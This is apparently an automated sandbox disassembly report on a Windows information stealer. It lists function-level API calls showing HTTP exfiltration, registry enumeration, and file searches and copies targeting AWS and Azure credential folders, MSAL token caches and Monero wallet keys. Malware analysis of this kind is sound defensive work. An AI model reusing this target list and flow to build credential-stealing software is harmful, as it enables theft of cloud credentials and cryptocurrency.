lstrcat.KERNEL32(?,0102148C), ref: 0100D2C1
lstrcat.KERNEL32(?,00000000), ref: 0100D2D4
lstrcat.KERNEL32(?,01021490), ref: 0100D2E3

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

lstrlen.KERNEL32(?), ref: 0100D32A
lstrlen.KERNEL32(?), ref: 0100D339

Part of subcall function 0101AA70: StrCmpCA.SHLWAPI(00A59228,0100A7A7,?,0100A7A7,00A59228), ref: 0101AA8F

DeleteFileA.KERNEL32(00000000), ref: 0100D3B4

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 77392ffe3653c7ccdc321d5a4ec3e2794a9f87e63c1a30f3dac5056c67ab058f
Instruction ID: e253eeb43c6af64458e608289592d6a7013346475cac30e09b2df150200a7df9
Opcode Fuzzy Hash: 77392ffe3653c7ccdc321d5a4ec3e2794a9f87e63c1a30f3dac5056c67ab058f
Instruction Fuzzy Hash: D3E16175A51149EBDB14EBE0ED98EEE7378BF24200F504158F547B7098DF39AA0ACB60

Function 01004880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 01004915
StrCmpCA.SHLWAPI(?,00A5EA78), ref: 0100493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01004ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,01020DDB,00000000,?,?,00000000,?,",00000000,?,00A5EAE8), ref: 01004DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 01004E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01004E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 01004E49
InternetCloseHandle.WININET(00000000), ref: 01004EAD
InternetCloseHandle.WININET(00000000), ref: 01004EC5
HttpOpenRequestA.WININET(00000000,00A5EA48,?,00A5E278,00000000,00000000,00400100,00000000), ref: 01004B15

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

InternetCloseHandle.WININET(00000000), ref: 01004ECF

Strings

------, xrefs: 01004C69
------, xrefs: 01004B28
", xrefs: 01004BF2
------, xrefs: 010049BD
", xrefs: 01004D33

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f2c987f2a1867c1dfbb5d88c72c02bba6b1fc24c6c1b43c09f466256d5ab3210
Instruction ID: c54f1d55e5ad2456f9cd0afdce0d402fbf447548a8d12aff90752b5ec69d3a56
Opcode Fuzzy Hash: f2c987f2a1867c1dfbb5d88c72c02bba6b1fc24c6c1b43c09f466256d5ab3210
Instruction Fuzzy Hash: 67123C72A12159EADB15EB90DD90FEEB339BF24210F504199E54663094EF342F8ACF60

Function 01018320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

RegOpenKeyExA.KERNEL32(00000000,00A5B008,00000000,00020019,00000000,010205B6), ref: 010183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
wsprintfA.USER32 ref: 01018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
RegCloseKey.ADVAPI32(00000000), ref: 0101848C
RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Strings

%s\%s, xrefs: 0101844D
- , xrefs: 010185A3
?, xrefs: 0101837A

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 3622a5d18f894f103bbd4f80b0adaa1c74e8a3ba7a8b0172b2183ab24db0b130
Instruction ID: d121c90d6419e74338c123af60b3af8ca3e1092406dded52bbb6e49741aed540
Opcode Fuzzy Hash: 3622a5d18f894f103bbd4f80b0adaa1c74e8a3ba7a8b0172b2183ab24db0b130
Instruction Fuzzy Hash: 0C812A75911118EBEB28DB54DD84FEAB7B8FB18310F0086D9E14AA7144DF746B89CFA0

Function 01006280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01006303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
HttpOpenRequestA.WININET(00000000,GET,?,00A5E278,00000000,00000000,00400100,00000000), ref: 01006385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 010063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0100646D
InternetCloseHandle.WININET(00000000), ref: 010064EF
InternetCloseHandle.WININET(00000000), ref: 010064F9
InternetCloseHandle.WININET(00000000), ref: 01006503

Strings

GET, xrefs: 0100637C
ERROR, xrefs: 010064C9
ERROR, xrefs: 01006407

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: d99760d2535691fc910ee7bb34c5f341f2d185edace7e1003a0807c6ce6c65c7
Instruction ID: 0eda038fa3473e69295d09ec349d5511447c5845cb697d53667ed3a50aa5a6d4
Opcode Fuzzy Hash: d99760d2535691fc910ee7bb34c5f341f2d185edace7e1003a0807c6ce6c65c7
Instruction Fuzzy Hash: A1718E75A00218EBEB25DFA4DC48BEE77B9FB44700F108198F64A6B1C4DBB56A85CF50

Function 01015510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 010156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015857

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015228

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 010152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015318
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 0101532F
Part of subcall function 010152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 01015364
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 01015383
Part of subcall function 010152C0: lstrlen.KERNEL32(00000000), ref: 010153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0101578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015A0C
Sleep.KERNEL32(0000EA60), ref: 01015A1B

Strings

ERROR, xrefs: 01015636
ERROR, xrefs: 01015693
ERROR, xrefs: 01015932
ERROR, xrefs: 0101577D
ERROR, xrefs: 010159FE
ERROR, xrefs: 01015849

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 5bc990ccab0bcf98853f875e7e61f30f5731c27745c4a311ec4324339f4ae548
Instruction ID: a8d6476ececad99e161e8d416f048ad6ced8f1cd83d3414f34c98f3c5733831d
Opcode Fuzzy Hash: 5bc990ccab0bcf98853f875e7e61f30f5731c27745c4a311ec4324339f4ae548
Instruction Fuzzy Hash: 43E15372A11145DBDB15FBA0ED95EED7378BF64210F408129E98757088EF386B0ECB91

Function 01014D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014DB0
lstrcat.KERNEL32(?,\.azure\), ref: 01014DCD

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

lstrcat.KERNEL32(?,00000000), ref: 01014E3C
lstrcat.KERNEL32(?,\.aws\), ref: 01014E59

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

lstrcat.KERNEL32(?,00000000), ref: 01014EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 01014EE5

Part of subcall function 01014910: wsprintfA.USER32 ref: 010149B0
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,010208D2), ref: 010149C5
Part of subcall function 01014910: wsprintfA.USER32 ref: 010149E2
Part of subcall function 01014910: PathMatchSpecA.SHLWAPI(?,?), ref: 01014A1E
Part of subcall function 01014910: lstrcat.KERNEL32(?,00A5EAA8), ref: 01014A4A
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FF8), ref: 01014A5C
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A70
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FFC), ref: 01014A82
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A96
Part of subcall function 01014910: CopyFileA.KERNEL32(?,?,00000001), ref: 01014AAC
Part of subcall function 01014910: DeleteFileA.KERNEL32(?), ref: 01014B31

Strings

Azure\.azure, xrefs: 01014DD3
Azure\.aws, xrefs: 01014E5F
Azure\.IdentityService, xrefs: 01014EEB
\.IdentityService\, xrefs: 01014ED9
*.*, xrefs: 01014E64
*.*, xrefs: 01014DD8
msal.cache, xrefs: 01014EF0
\.aws\, xrefs: 01014E4D
\.azure\, xrefs: 01014DC1

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 6b3a63b2ff02471c59990a2b65a78b3a1c2e6081c54c4aca19b4db976a056de9
Instruction ID: 7a03c1a05c078a12299e93bb49f7d80bbd85791883fa72232a71d8478d645e46
Opcode Fuzzy Hash: 6b3a63b2ff02471c59990a2b65a78b3a1c2e6081c54c4aca19b4db976a056de9
Instruction Fuzzy Hash: 6B41797AA40319A7D750F770DC46FDD73389B34700F404558B5C55B084EEF997898B92

Function 01001310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 010012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 010012B4
Part of subcall function 010012A0: RtlAllocateHeap.NTDLL(00000000), ref: 010012BB
Part of subcall function 010012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 010012D7
Part of subcall function 010012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 010012F5
Part of subcall function 010012A0: RegCloseKey.ADVAPI32(?), ref: 010012FF

lstrcat.KERNEL32(?,00000000), ref: 0100134F
lstrlen.KERNEL32(?), ref: 0100135C
lstrcat.KERNEL32(?,.keys), ref: 01001377

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
